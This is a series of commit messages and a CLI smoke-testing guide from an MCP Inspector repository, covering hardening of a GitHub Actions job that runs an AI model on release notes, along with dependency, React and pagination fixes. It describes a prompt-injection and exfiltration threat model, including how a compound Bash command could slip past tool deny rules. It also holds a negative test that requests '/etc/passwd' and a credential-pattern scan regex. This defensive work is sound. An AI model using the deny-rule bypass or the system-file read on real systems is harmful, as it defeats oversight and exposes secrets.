Untrusted, an outsider could file (and close) an issue carrying the current target's marker to suppress the real upgrade issue indefinitely, post `ANALYSIS_MARKER` to suppress analysis retries forever, or forge a supersession note so the genuine one is never posted. So the sweep trusts a marker **only** on something the automation wrote: an issue must be authored by `github-actions` *and* carry the `chore` + `dependencies` labels an outsider cannot set, and a comment must come from `github-actions[bot]`. Marker versions are validated with `semver.valid` too, since a malformed target would otherwise throw in `semver.lt` and fail the sweep every run. So the model returns its write-up as structured output (`--json-schema`) and a deterministic, model-free step posts it — that step is the only thing in the job holding a token that can write, and the body reaches it through the environment rather than the command line. `WebFetch` is denied for the same reason: an outbound fetch the model controls is the other end of the same exfiltration channel, and `gh release view` covers the need.

The first ends a pattern rather than patching it again. 1. The tool grants did not enforce the boundary they claimed, for two reasons. `--allowedTools` only PRE-APPROVES; `--tools` is what restricts availability — a distinction this repo had already learned and written down in `scripts/skill-eval.mjs`, and which I failed to apply here. And a `Bash(...)` rule can match a COMPOUND command (`gh release view … && curl …`), so the denials could be walked past. That is the fourth grant in this review whose real surface was wider than it looked, after `gh api`, `gh issue comment --body-file` and `npm view --registry`. Each fix scoped the command and left something else open, so this one removes the capability instead: THE MODEL NOW HAS NO BASH AT ALL. Upstream release notes are prefetched by a deterministic `run:` step into `upstream-release-notes.md` (the 30 most recent releases via `gh api`), and the prompt points the model at that file and tells it to say so plainly if the range it needs is absent. Verified against the real ext-apps releases API. The model's tools are now `--tools "Read,Grep,Glob"` for availability, the same three in `--allowedTools` so no headless run stalls on an unanswerable prompt, and `--disallowedTools` naming Bash and the write/network tools as a third layer — the same three-part shape `skill-eval.mjs` uses. 2. The security documentation asserted something false. `sweep` inherits `issues: write` because filing issues is its purpose, so "the ONLY job holding a token that can write" was never true. Both AGENTS.md and the workflow comment now state the actual invariant: NO MODEL RUNS IN A WRITE-CAPABLE JOB. Two of three jobs write; neither runs a model. The test changed with it, and this is the substantive half: it was asserting `analyze.permissions === {contents: read}`, which is one job's slice and would have passed happily if someone added a model step to `post`. It now iterates EVERY job and, for each that runs `claude-code-action`, asserts no write scope and no posting step — falling back to the inherited top-level permissions, so an omitted `permissions:` block fails rather than defaulting silently. 3. (Suppressed.) The generated checklist told maintainers to edit `package.json` unconditionally, which is wrong for the one case this script models separately: `ext-apps` is `^1.7.4`, which already admits a 1.8.0 target, so only the lockfile moves. `needsManifestEdit` now selects the checklist items by asking whether each behind row's declared range admits the target — exact pins need the edit, satisfied ranges do not, and an unparseable declaration errs toward asking for a look. 4. (Suppressed.) The `post` job comment carried the same false claim as finding 2; corrected in the same change. Mutation-checked, each failing a different set: needsManifestEdit -> true -> its unit test + the ext-apps body test --tools line deleted -> the tool-availability test 61 tests in this file; `npm run local:gate` green end to end.

The credential scan ran too late to be a backstop. The analysis was uploaded as an artifact and only scanned in the posting job — but this repo is public, so an artifact holding a verbatim credential is downloadable for its whole retention window. Refusing to POST text that has already left the job refuses nothing. The scan now gates the WRITE, in the same step that writes `analysis.md` (not two steps: a failure between a passing scan and a separate write would leave the file for the upload to collect), and the upload is gated on `hashFiles('analysis.md')`. The posting job scans again, since the artifact is the boundary and each side should check what it handles. 2. The permissions test failed open on the input it existed to catch. GitHub accepts the shorthand `permissions: write-all`, and `Object.entries("write-all")` iterates the string's CHARACTERS — so the scan for a `write` value found nothing and the test passed green while the model held every scope. It now rejects a non-mapping outright and asserts the exact value. 3. (Suppressed.) The security prose in AGENTS.md still described the same-job, environment-variable handoff that two rounds had already replaced. Rewritten around the two boundaries the write-up actually crosses now. Worth noting the pattern rather than just the instance: this was the third round running in which I changed the mechanism and left the prose describing the previous one, and stale security prose is worse than none — the next person preserves properties the code no longer has. ## Closing #2269 Filed during round 3 to replace the long-lived ANTHROPIC_API_KEY with workload identity federation. Closed as not planned, because the threat model behind it does not hold. Every round escalated on "the model reads UNTRUSTED upstream release notes" and I accepted that framing without checking it. Both upstreams this sweep watches — modelcontextprotocol/typescript-sdk and modelcontextprotocol/ext-apps — are in this repository's own org, with release notes written by the same maintainer group. That is first-party content, and anyone able to plant an injection in it already holds release rights here. Federation was reachable, so this is a judgement rather than a capitulation: issuers and rules are creatable via `client.beta.organization.federation.*`, and for GitHub Actions the issuer is the standard token.actions.githubusercontent.com with JWKS discovery. But those endpoints reject plain API keys and need an `org:admin` OAuth token, making it org-admin work on the Anthropic organization — disproportionate against our own changelogs. The assessment is recorded rather than deleted. AGENTS.md and the workflow comment now state the residual channel AND what makes it acceptable, so pointing this at an upstream outside the org, or at third-party content, is a documented trigger to re-open the question. Mutation-checked, each failing a different set: permissions: write-all on analyze -> no model runs in a job that can write upload re-gated on structured_output -> the scan-ordering test 62 tests in this file; `npm run local:gate` green end to end.

The convention existed only in a per-user memory note, which is invisible to anyone else and cannot be relied on mid-session. - AGENTS.md gains a "Waiting on long-running work" section: arm a notifier and stop; one notification is a backgrounded command or a single `until` loop, many is a Monitor. It states the one genuine exception — state the harness cannot observe — and says where the poll belongs in that case, inside one backgrounded loop rather than spread across turns. - pre-push-gate points at it where the gate is actually run. - pr-flow §7 points at it where the Copilot review is actually waited on, with the loop written out. The count-not-existence trap is called out: on round two the first round's review is still there, so `-ge 1` returns immediately.

Those need naming only in the `external` list of the client that actually imports them, not in all three. - **A client declares only what that client alone consumes** — its own UI stack, its bundler-inlined packages, its dev tooling. `clients/cli` and `clients/launcher` therefore declare **no** runtime dependencies at all, and that is the expected steady state, not an omission: everything they run on is root-declared and resolves by walk-up from the client directory. Re-adding a root-declared package to a client manifest re-creates the second copy this rule exists to make impossible (#1896), so a missing module at runtime is a signal to check the **root** manifest and the client's `external` list, never to add it back. - **A package that moves to the root moves its `vitest.shared.mts` pin with it.** Left pointing at `/node_modules` a pin resolves to a directory that no longer exists — or, where a transitive copy happens to sit there (`chokidar` under `vite`, `react` as a peer of `react-dom` and `ink`), to the very duplicate the pin list exists to prevent. **`react` and `react-dom` are the deliberate exception** and stay pinned per client, so a client's renderer and the React it calls into come from one install; every other root-owned pin resolves from the repo root. - **`dependencies` vs `devDependencies` follows from who consumes it at runtime**, not from where it is declared. Anything `core/` imports at runtime must be a root **`dependency`** — the client builds externalize npm packages and a published install resolves them from the root manifest, where devDependencies are absent. - **The shared toolchain is declared once, at the repo root, and in no client manifest.** `eslint`, `@eslint/js`, `typescript-eslint`, `globals`, `prettier`, `typescript`, `vitest`, `@vitest/coverage-v8` and `@types/node` are used by every client's own scripts, and a client that declares none of them still resolves the root copy by walk-up — `npm run` puts each ancestor `node_modules/.bin` on `PATH`, and Node and TypeScript walk parent `node_modules` / `node_modules/@types` the same way. `clients/launcher` declares no `devDependencies` at all and its `validate` is unchanged. A client-side declaration buys nothing and installs a second copy free to drift, as `globals` (`^17.7.0` root / `^17.4.0` clients) and `typescript-eslint` (`^8.65.0` / `^8.56.1`) had before #2196. These stay **`devDependencies`** — none is consumed at runtime and the tarball ships only each client's `build/`. The boundary is **used by every client**, not "used by one": anything narrower stays where it is, whether one client declares it (`tsx`, `playwright`, `storybook`, `happy-dom`, `ink-testing-library`, `vite-node`, each client's own `@types/*`) or several do — `tsup` is declared in web, cli and tui, and `vite` in web and tui on top of the root **runtime** `dependency` that `--web --dev` needs. Those are out of scope here; consolidating them is a different call with a different rationale. - - ⚠️ **Deleting the declaration does not always delete the copy, and the local copy still wins.** npm auto-installs an unmet **peer** into the install that needs it, and it has no visibility into the root's tree — so a client-only ESLint plugin drags a client-local `eslint` in (`eslint-plugin-react-refresh`/`-storybook` in web, `eslint-plugin-react-hooks` in tui), and web's Storybook/Vitest stack drags in a local `typescript` and `vitest`. A hoisted transitive does the same: `@types/express` puts an `@types/node` in web and cli. Those copies sit *nearer* than the root's and take precedence.

It is React's documented ["adjusting state during render"](https://react.dev/reference/react/useState#storing-information-from-previous-renders) pattern: it compares `value` against the previous render's with `Object.is` and calls `onChange(next)` during render, so React discards the in-progress output and re-runs the component before anything reaches the DOM. It does **not** fire on the first render — seed the dependent state with `useState` instead. Because the comparison is `Object.is`, the value you pass **must be referentially stable** across renders that mean "no change": prefer a primitive key derived from the data (an id, a name, a URI), and otherwise a memoized value. A fresh object/array literal would compare unequal every render and loop. - The `onChange` you pass runs **during render**, so it must be pure — `setState` calls and nothing else. No fetches, DOM writes, logging, ref mutation, or parent callbacks: a render can be replayed (StrictMode) or abandoned (concurrent React), so external work would run an unpredictable number of times. - An effect is still the right tool for genuine synchronization with an external system (DOM measurement, `requestAnimationFrame`, subscriptions, timers). The rule is about deriving React state from React props, not about effects in general. `NetworkEntry` shows the split: the reveal's force-open is a state update and uses `useValueChange`, while its `requestAnimationFrame` scroll stays a `useEffect`. - - **Subscribing to an `@inspector/core` state store is `useSyncExternalStore`, never `useState` + a subscribing `useEffect`.** That second shape looks like the legitimate "synchronize with an external system" case above and is not, because it also *seeds and re-seeds local state from the store prop* — so it carries the same stale frame (switching servers paints the previous server's tools for one frame) plus a window where an event dispatched between the render and the effect is lost outright.

That is nearly all of them, and the caching it adds is what keeps `useSyncExternalStore` from looping. Call it once per value. - When a getter's value is **already referentially stable**, subscribe with `useSyncExternalStore` directly and skip the helper — `useListError` does, because its snapshot is the stored `Error` instance itself (or `null`).

It simply returns a fresh value every render, defeating every downstream `useMemo` / `React.memo` / effect dep that keys on it. - The snapshot is cached against the store's **per-event dispatch counter** (`TypedEventTarget.getEventRevision`), which every dispatch advances automatically — not against the snapshot's contents. That is deliberate and load-bearing: these getters return a defensive copy, so contents are the only alternative, and a contents comparison cannot see a dispatch that mutated an entry the list already holds (`MessageLogState` folding a response into its request entry does exactly that).

A branch like `{ properties: { kind }, required: ["kind", "payload"] }` was therefore offered in the picker, rendered no control for `payload`, and had the submit-time check report it missing permanently — the exact dead end the function's own comment already reasons through for a `false`-schema required field, one case short. Judge the merge, so a branch requiring only names the ROOT declares — `anyOf: [{ required: ["email"] }, …]` — stays offerable as before. `hasOwn` rather than `in`, since an argument legally named `constructor` would otherwise resolve through the prototype and read as declared. Declining every branch of a union leaves the web form with neither a picker nor a field, which is a different dead end. `SchemaForm` now seeds the raw-JSON editor (#2151) in that one case — a root union that resolved to no branches and no properties — so the arguments stay expressible. Seeded rather than forced, so the switch still works, and re-seeded during render (never in an effect) because the form is reused across tools rather than remounted. A tool that genuinely takes no arguments is untouched. The TUI has no such editor; there the union is simply not offered, which is already better than a section that can never be submitted. Adds a `record_shipment_by` preset and wires it into the `root-union-schemas-http.json` showcase so the shape is reproducible by hand, with docs/test-servers.md covering it.

The gap this fills is a user-facing one. `clients/cli/README.md` is a flag reference and `scripts/smoke-cli.mjs` is an internal end-to-end check of the launcher → CLI path; neither tells someone how to compose those flags into a check they run on every commit against their own server. Covers, in order: connecting over stdio/HTTP/SSE (including the `--` separator, which splits the opposite way under `--cli`); `--format json` and its `{result[, appInfo]}` envelope; asserting a tool exists with `jq -e`; one representative `tools/call` and the `--tool-arg` vs `--tool-args-json` coercion difference; the exit-code map and how to branch on it; keeping OAuth non-interactive with `--stored-auth-only` and an isolated `MCP_STORAGE_DIR`; and negative assertions — refusals, a secret-shape scan of captured output, and `--strict` schema portability. Ends with a complete script and a GitHub Actions job. Every command and output shape in the guide was verified against the bundled composable test servers over both stdio and HTTP rather than transcribed from the reference, which corrected three claims that would otherwise have shipped wrong: - `--tool-arg zip=012` does not send `12`. `012` is not valid JSON, so it is sent as the literal string. The real trap is `zip=10001`, which does coerce to a number and is then rejected by a string schema. - `if ! cmd; then status=$?` yields `0`, because `!` inverts the pipeline's status — every failure class would look identical. The guide uses `|| status=$?` and says why. - The sample script does not report a failure class on its own; that is the opt-in `case` block from §5. The §8 script was run end to end against a live HTTP test server, and exits 0/3/4/5/6 were each reproduced against a real server.

Connect + +The server can be a **stdio** command or an **HTTP/SSE** URL. The Inspector's +own flags are the same either way; only the target differs. + +```bash +# stdio — the server is a command the Inspector spawns +npx @modelcontextprotocol/inspector --cli node build/index.js --method initialize + +# Streamable HTTP +npx @modelcontextprotocol/inspector --cli \ + --transport http --server-url https://example.com/mcp --method initialize + +# SSE +npx @modelcontextprotocol/inspector --cli \ + --transport sse --server-url https://example.com/sse --method initialize +``` + +`--method initialize` is a **connect-only probe**: it completes the handshake, +prints `{serverInfo, protocolVersion, capabilities, instructions}`, and +disconnects without invoking anything. It is the cheapest possible "is the +server alive and speaking MCP" assertion, and the right first line of a smoke +job. + +⚠️ **If your stdio server takes flags of its own, you need a `--` separator, and +it splits the opposite way from the web and TUI clients.** Under `--cli`, +everything **before** `--` is the target command and everything **after** is the +Inspector's own options: + +```bash +npx @modelcontextprotocol/inspector --cli \ + node build/index.js --config ./server.conf -- --method tools/list +``` + +Without the `--`, the target is only the leading run of non-dash tokens, so +`--config ./server.conf` would be eaten by the Inspector (and rejected as a +conflict with its own `--config` flag). + +**Always bound the connect.** `--connect-timeout ` defaults to `15000` for +ad-hoc `--server-url`/target runs and to the file-level timeout for +`--catalog`/`--config` runs; `0` disables it. A CI job should never inherit a +disabled timeout — a black-holed host would hang the runner until the job's own +limit kills it. + +For a server you connect to repeatedly, put it in a config file once and select +it by name, so the smoke script carries no transport details: + +```bash +npx @modelcontextprotocol/inspector --cli --config ./mcp.json --server my-server \ + --method initialize +``` + +`--config` is a **read-only** session file and errors if it is absent; +`--catalog` is the writable catalog and is seeded empty when missing. The two +are mutually exclusive, and neither combines with an ad-hoc target. The file +format is [MCP server configuration](./mcp-server-configuration.md). + +## 2. Make every result machine-readable + +`--format json` prints a single JSON object on stdout with no banners: + +```bash +npx @modelcontextprotocol/inspector --cli node build/index.js \ + --method tools/list --format json +# → {"result":{"tools":[{"name":"echo","description":"…","inputSchema":{…}}, …]}} +``` + +The envelope is `{ "result": … }`, plus a sibling `"appInfo"` key when the +result belongs to an [MCP App](./mcp-app-review.md) tool. That is the whole +contract — everything else the CLI prints in `text` mode is presentation. + +Two things worth knowing before you build a pipeline on it: + +- **The default is `text`**, which pretty-prints for a human. Pass `--format + json` on every command a script parses. +- **`tools/list --app-info` always emits NDJSON** (one app-info object per + line) regardless of `--format`. Only the single-result paths get the + `{result[, appInfo]}` envelope. + +## 3. Assert a tool exists + +```bash +npx @modelcontextprotocol/inspector --cli node build/index.js \ + --method tools/list --format json \ + | jq -e '.result.tools | map(.name) | index("my_tool")' > /dev/null +``` + +`jq -e` sets its own exit status from the output — non-zero when the result is +`null` or `false` — so a missing tool fails the step with no extra shell. To +assert a whole set at once: + +```bash +npx @modelcontextprotocol/inspector --cli node build/index.js \ + --method tools/list --format json \ + | jq -e --argjson want '["my_tool","other_tool"]' \ + '[.result.tools[].name] as $have | $want - $have | length == 0' > /dev/null +``` + +The same shape works for `resources/list`, `resources/templates/list` and +`prompts/list` — only the key under `.result` changes (`.resources`, +`.resourceTemplates`, `.prompts`). + +## 4. Call one representative tool + +Pick a tool that is **safe to call repeatedly**: read-only, idempotent, and +cheap.

Each value is **JSON-parsed when it parses**, so `count=1` sends the number `1` and `zip=10001` sends the number `10001`; anything that is not valid JSON is sent as the literal string (`zip=012` stays `"012"`, because `012` is not valid JSON). | +| `--tool-args-json '{…}'` | One JSON object, passed **verbatim** — no `key=value` coercion, so `{"zip":"10001"}` sends the string. Mutually exclusive with `--tool-arg`. | + +That coercion is the trap: a zip code, an order number, or an ID that happens to +be all digits arrives at the server as a **number** through `--tool-arg`, and a +schema expecting a string rejects it. Prefer `--tool-args-json` for anything +typed — it says exactly what you mean. Then assert on the payload: + +```bash +# Structured output: assert a field +… --format json | jq -e '.result.structuredContent.unit == "C"' > /dev/null + +# Text content: assert a substring +… --format json | jq -e '[.result.content[] | select(.type=="text") | .text] + | any(test("temperature"))' > /dev/null +``` + +A `tools/call` whose result carries `isError:true` still prints its payload, but +exits **5**, so it will not silently pass an `&&` chain. + +## 5. Branch on exit codes + +Every non-zero exit maps to a stable failure class, and the CLI also writes a +one-line `ErrorEnvelope` to **stderr**: + +| Code | Meaning | +| --- | --- | +| `0` | Success | +| `1` | Usage / unexpected error (the catch-all) | +| `2` | No MCP App found on the tool (`--app-info` probe) | +| `3` | Server requires authentication (401/403, `WWW-Authenticate`, OAuth) | +| `4` | Server unreachable (DNS, connection refused, timeout, `fetch failed`) | +| `5` | Tool error (`isError:true`, or the tool was not found) | +| `6` | `--strict` found an error-severity schema portability problem | + +[`clients/cli/README.md`](../clients/cli/README.md#exit-codes--error-envelopes) +owns this table; treat it as the source of truth if the two ever disagree. + +Because the envelope is exactly one line, a caller can read the machine-readable +reason without scraping prose: + +```bash +err=$(mktemp) +npx @modelcontextprotocol/inspector --cli \ + --transport http --server-url https://example.com/mcp \ + --method tools/list --format json 2>"$err" || { + tail -1 "$err" | jq -r '.error.code' # → unreachable | auth_required | … + } +rm -f "$err" +``` + +Take the **last** stderr line, not the whole stream: warnings and OAuth notices +are printed there too, and only the envelope is guaranteed to be one line at the +end. + +In a script under `set -e`, capture the status rather than letting the shell +abort on the first non-zero exit — you usually want to report *which* class +failed: + +```bash +set -euo pipefail +run() { npx @modelcontextprotocol/inspector --cli "$@"; } + +status=0 +out=$(run node build/index.js --method tools/list --format json) || status=$? +if [ "$status" -ne 0 ]; then + case "$status" in + 3) echo "::error::server needs auth — no usable token in the store" ;; + 4) echo "::error::server unreachable" ;; + *) echo "::error::CLI failed with exit $status" ;; + esac + exit "$status" +fi +``` + +⚠️ Capture the status with `|| status=$?`, not with `if ! cmd; then status=$?`. +`!` inverts the pipeline's status, so `$?` inside that branch is **`0`** and +every failure class looks identical. + +⚠️ `set -e` does **not** fire for a command on the left of `|`; only the +pipeline's last status is checked unless `set -o pipefail` is also on. Every +example here pipes into `jq`, so keep `pipefail`. + +## 6. Never let CI wait on interactive OAuth + +The CLI's interactive OAuth flow opens a browser and waits on a loopback +callback for **up to 15 minutes**. That is right for a human at a terminal and +completely wrong for a runner. + +**Use `--stored-auth-only`.** It never starts interactive OAuth or step-up and +never opens a browser: it consumes the shared token store if a token is there, +and otherwise fails immediately with exit **3** (`auth_required`). + +```bash +npx @modelcontextprotocol/inspector --cli \ + --transport http --server-url https://example.com/mcp \ + --method tools/list --stored-auth-only --format json +# no token → {"error":{"code":"auth_required",…}} on stderr, exit 3 +``` + +The CLI already fails fast with `auth_required` when neither stdin nor stderr is +a TTY and `MCP_AUTO_OPEN_ENABLED` is unset — the typical CI shape. But that +depends on the runner's TTY situation and on an env var it does not own, so it +is a safety net, not a contract to build on. **Passing `--stored-auth-only` +explicitly is what makes the behavior yours.** Note also that `MCP_AUTO_OPEN_ENABLED=true` +*admits* interactive OAuth without a TTY — never set it in CI. + +Related flags for the same problem: + +| Flag | Use | +| --- | --- | +| `--use-stored-auth` | Read the stored token for `--server-url` and inject `Authorization: Bearer`. Runs the refresh grant first when a `refresh_token` is stored. Exits `3` (`no_stored_token`) when nothing matches. | +| `--list-stored-auth` | Print `{oauthStatePath, storedServerUrls}` and exit without connecting — a useful preflight step that says *why* a later run will fail. | +| `--wait-for-auth ` | Poll for a token to land, then run. For a human-in-the-loop handoff, **not** for unattended CI. | + +**Isolate the store per job.** The CLI resolves its OAuth state from +`MCP_INSPECTOR_OAUTH_STATE_PATH` → `/oauth.json` → +`~/.mcp-inspector/storage/oauth.json`. Pointing `MCP_STORAGE_DIR` at a scratch +directory keeps a smoke run from reading — or rotating — a developer's real +tokens: + +```bash +export MCP_STORAGE_DIR="$(mktemp -d)" +``` + +For a server that genuinely needs a credential in CI, prefer a static header +over OAuth entirely — `--header 'Authorization: Bearer '`, with the token +from your CI secret store. And **do not** put a credential in the URL: the CLI +redacts `env` values and sensitive headers when printing a server, but it does +**not** scrub credentials embedded in a `url` or in stdio `args`. + +## 7. Negative assertions + +A smoke test that only proves the happy path will not notice the day a tool +starts answering questions it should refuse. + +**Assert a refusal is still a refusal.** If your server is supposed to reject a +request — a path outside its root, an argument it should validate — assert the +*failure*, not the success. `isError:true` exits `5`, so invert the check: + +```bash +if npx @modelcontextprotocol/inspector --cli node build/index.js \ + --method tools/call --tool-name read_file \ + --tool-args-json '{"path":"/etc/passwd"}' --format json > /dev/null 2>&1; then + echo "::error::read_file accepted a path outside its root"; exit 1 +fi +``` + +Note that this asserts only "the call did not succeed". If you need to +distinguish a refusal from a crash or an unreachable server, capture the exit +code and require exactly `5`. + +**Scan captured output for obvious secret shapes.** This is a coarse net — it +catches a credential accidentally echoed back in a tool result or an error +message, and it will neither catch every leak nor absolve you of reviewing what +your server returns: + +```bash +out=$(npx @modelcontextprotocol/inspector --cli node build/index.js \ + --method tools/call --tool-name my_tool --format json 2>&1) +if grep -Eiq '(sk-[A-Za-z0-9]{16,}|ghp_[A-Za-z0-9]{20,}|AKIA[0-9A-Z]{16}|-----BEGIN [A-Z ]*PRIVATE KEY-----)' <<<"$out"; then + echo "::error::tool output matched a secret pattern"; exit 1 +fi +``` + +Keep the pattern list to shapes you can justify; a regex tuned for a low false +positive rate is one people keep, and one that cries wolf is one they disable. + +**Check schema portability.** A tool schema can be legal JSON Schema and still +be refused by the client your server is meant to serve. `--strict` reports those +constructs — path, issue, and a concrete fix — on **stderr**, and exits `6` when +any is error-severity: + +```bash +npx @modelcontextprotocol/inspector --cli node build/index.js \ + --method tools/list --strict +``` + +Worth running in CI on any server whose tool schemas are generated, where a +dependency bump can change the emitted shape without anyone editing a schema. + +## 8. Putting it together + +A complete smoke script. It bounds the connect, isolates the token store, and +fails the job on the first assertion that does not hold: + +```bash +#!/usr/bin/env bash +# smoke.sh — connect → list → call → assert against an MCP server. +set -euo pipefail + +SERVER_URL="${SERVER_URL:?set SERVER_URL}" +export MCP_STORAGE_DIR="$(mktemp -d)" +trap 'rm -rf "$MCP_STORAGE_DIR"' EXIT + +mcp() { + npx --yes @modelcontextprotocol/inspector@2 --cli \ + --transport http --server-url "$SERVER_URL" \ + --connect-timeout 10000 --stored-auth-only --format json "$@" +} + +# 1.

From c80f90ed09280e4502e75cdaa6b8a8255d763544 Mon Sep 17 00:00:00 2001 From: cliffhall Date: Sun, 6 Sep 2026 13:22:49 -0400 Subject: [PATCH 114/174] docs: address Copilot review round 1 on the CLI smoke-testing guide MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Three findings, all real. 1. The secret-scan snippet swallowed the CLI's exit code. `out=$(…)` with no status capture means a non-matching `grep` returns 1, the `if` is simply not taken, and the step exits 0 even though the tool call failed — the scan silently becomes the only assertion. Under `set -e` the opposite happens: the script dies at the assignment and never scans the error output, which is exactly where a leaked credential is most likely to appear. Now captures with `|| status=$?`, scans, then propagates, with a callout explaining both failure modes. 2. `@2` is a major-version range, not a pin, and it was written directly under a sentence claiming it pinned the version. Both occurrences now use an exact published release (2.5.0, the current `latest`), and the prerequisites note says outright that a range is not a pin. `--yes` added to the prerequisite form so an unattended job cannot hang on the first-run install prompt. 3. `--stored-auth-only` was described as failing when the store has no token. It is a no-op against a server that never challenges — the guide's own verification run passed with an empty store against a non-auth server. Reworded to say exit 3 happens only when a challenge cannot be satisfied, and added the way to actually assert that authentication happened: one run with an isolated empty MCP_STORAGE_DIR that requires exit 3. Both corrected shell snippets were executed: secret+failure exits 1, failure without a secret propagates exit 4.

Against a server that paginates with `""` they dropped it and re-requested page one — a list that silently stops at the first page, or a walk that loops on it forever. Nothing surfaced an error, because the request was well-formed; it just asked the wrong question. `listTools` (and the later `listSkills`) already used `cursor !== undefined`; this brings the other four into line. `getReplayableParams` in `protocolReplay.ts` existed partly to mirror the asymmetry — its `method === "tools/list" || params.cursor !== ""` special case collapses to `typeof params.cursor === "string"` now that the adapters agree, and its long comment is updated rather than left describing a state that no longer exists. Coverage: - `inspectorClient-list-cursor.test.ts` asserts the outbound params of all five adapters — `""` carried, an absent cursor sending no `cursor` key, a non-empty cursor forwarded unchanged. `listTools` is the control. - `test-servers/configs/empty-cursor-http.json` (`emptyStringCursor`) hands out `""` as the cursor for page two, the shape no other fixture produces, and `empty-cursor.test.ts` walks all three of its lists end to end. - Removing the fix from any one adapter fails exactly its two cases.

All were verified against the CLI's own code and behavior before being accepted; one was diagnosed correctly but explained wrongly, and is documented as it actually behaves rather than as the comment stated. 1. MCP_STORAGE_DIR alone is not isolation. MCP_INSPECTOR_OAUTH_STATE_PATH is checked first, so an inherited value silently wins and a smoke run still reaches the real token file — the guide documented that precedence and then ignored it one paragraph later. Both variables are now exported, in precedence order, in §6 and in the §8 script, with a --list-stored-auth check that prints the path actually resolved. Verified: with a poisoned MCP_INSPECTOR_OAUTH_STATE_PATH in the environment, the two-line export wins. 2. `--format json` can carry a third top-level key. `emitResult` sets `schemaFindings` whenever --strict is passed to tools/list and there is at least one finding, so "that is the whole contract" was wrong. Replaced with a table of all three keys and a note to parse by key. 3. --strict findings under --format json. The actionable half is right — a JSON pipeline should read `schemaFindings` from stdout. The stated mechanism is not: `writeSchemaLintReport` runs unconditionally, so --format json --strict emits the full human report on stderr AND the structured copy on stdout. Documented both streams as measured, with a jq gate over the per-tool grouping. The `?` operators in that filter are load-bearing: the key is absent on a clean run, and without them jq errors instead of passing. Both arms verified. 4. The ErrorEnvelope snippet returned 0. `cmd || { … }` makes the brace group's status the list's, so a successful jq turned a failed run green — the same failure class the guide warns about twice elsewhere, which makes shipping it worse. Now captures, reports, and exits with the status; verified propagating exit 4. The §8 script was re-run end to end against a live HTTP test server with the added export and still passes.

[...this.tasks, ...page] : page` would have replaced the accumulated list rather than extended it had the walk continued. Both now test `=== undefined`. The other four paged/managed stores already did (`pagedToolsState`, `pagedPromptsState`, `pagedResourcesState`, `pagedResourceTemplatesState`, `pagedRequestorTasksState`, `managedSkillsState`); this was the last walk on the truthiness side. Covered by a new case in `managedRequestorTasksState.test.ts` that paginates `"" → "c2" → end` and asserts the cursor each call received, so a walk that terminated correctly but re-requested page one still fails. Reverting either guard on its own fails exactly that case. Reported by Copilot on #2277.

The envelope table said `result` is present "Always". It is not: `emitResult` returns early for `--app-info` and writes `{appInfo}` alone, with no `result` key — in the `hasApp:false` case too, which is signalled through exit code 2 rather than through a key. So a consumer that requires `.result` breaks on every probe. Documented as a distinct shape rather than a footnote on the table, since that is what it is. Verified against the mcp-app-http fixture: keys are ["appInfo"] with --app-info for a tool with and without an app, and ["appInfo","result"] for the same tool called without it. Worth noting this was self-inflicted — the table arrived in the round-2 fix for `schemaFindings`, and stating a shape more precisely is exactly where an over-broad "always" slips in. 2. The Actions job ran `./smoke.sh` while the guide never tells anyone to chmod +x, and a file copied out of a code block does not carry the mode bit. Now `bash smoke.sh`, with a comment saying why so it is not tidied back. Verified: ./nonexec.sh fails with "permission denied", bash nonexec.sh runs.

The complete script created an empty isolated OAuth store and then always passed --stored-auth-only, so against an OAuth-protected server it could never authenticate — exit 3 by construction — while being presented as the general "arbitrary MCP server" template. The two requirements are genuinely in tension: §6 wants isolation so a run cannot read or rotate real tokens, and --stored-auth-only wants a token to reuse. Round 2 made the isolation airtight without reconciling that, which is what turned a latent gap into a guaranteed one. Resolved by making credential provisioning explicit rather than by scoping the script down to unauthenticated servers: it now takes a bearer token from the CI secret store when MCP_TOKEN is set — the approach §6 already recommends for unattended runs — and is unchanged when it is not. Added a callout naming the tension, wired MCP_TOKEN through the Actions job, and noted that a grant requiring genuine interactive OAuth does not belong in a CI smoke test at all. The conditional argument uses "${auth[@]+"${auth[@]}"}" because an empty array is an unbound variable under `set -u` in bash before 4.4, and macOS still ships 3.2 (verified locally). Documented why, so it is not simplified into ${MCP_TOKEN:+--header "..."} — that form happens to preserve its inner quoting in bash, but as a shell-specific subtlety a reader cannot check rather than something the script states. Verified against a live HTTP test server both ways: MCP_TOKEN unset and MCP_TOKEN set to a value containing a space both pass all three assertions. Argv construction checked directly — the header arrives as one word with the token intact, and no empty argument is passed when the variable is unset.

The guide said the `hasApp:false` case is reported "through exit code 2 rather than through a key". It is reported BOTH ways: `{"appInfo":{"hasApp":false,"toolName":"echo"}}` with exit 2. This was the round-3 fix over-correcting — that round established there is no `result` key under --app-info, and I generalized it into "no key reports this", which does not follow. Now documents both signals and when each is the right one to branch on: the exit code short-circuits an && chain without parsing, while the field is the only one of the two that survives `tools/list --app-info`, whose NDJSON reports every tool over one connection and exits 0 regardless. 2. §8 claimed "the CLI's own exit code propagates through set -e". It does not. `pipefail` reports the RIGHTMOST non-zero status, so a tools/call returning isError:true — which exits 5 and also falsifies the assertion — surfaces as 1, and the §5 `case` block the guide pointed at would print the catch-all instead of naming the tool error. Verified: left=5/right=1 → 1; left=5/right=0 → 5; and the real CLI piped into `jq -e '.result.isError != true'` → 1. Added the status table and corrected §8 to say the job carries pass/fail but not the class, with the capture-then-assert form as the way to get it. Verified that form recovers exit 5 where the pipeline reported 1, and that the happy path still passes. Worth recording: the first attempt to reproduce finding 2 was itself wrong — feeding jq invalid JSON made it exit on a parse error and the pipeline returned 5, appearing to refute the claim. The controlled test and the real CLI both confirm it.

The copyable job inherited the repository's default GITHUB_TOKEN scopes and left that token in the runner's git config while `npx` executed a package downloaded from npm. Adds `permissions: contents: read` and `persist-credentials: false`, each with a comment giving its reason. The review cited `.github/workflows/main.yml:11-18` as precedent for both. It supports one: main.yml does set `permissions: contents: read` at workflow level, for exactly the stated reason, and every workflow in this repo carries a block. It does not support the other — `persist-credentials` appears nowhere in .github/workflows. That half is taken on its own merit rather than as convention: the job uses git for nothing after checkout, so the credential is only attack surface while third-party code runs. Both matter more in this example than in a workflow we own, because it is written to be copied into a repository whose defaults the reader cannot see — which is now stated in the guide. The edited block was parsed as YAML to confirm both keys land where intended rather than eyeballing the indentation.

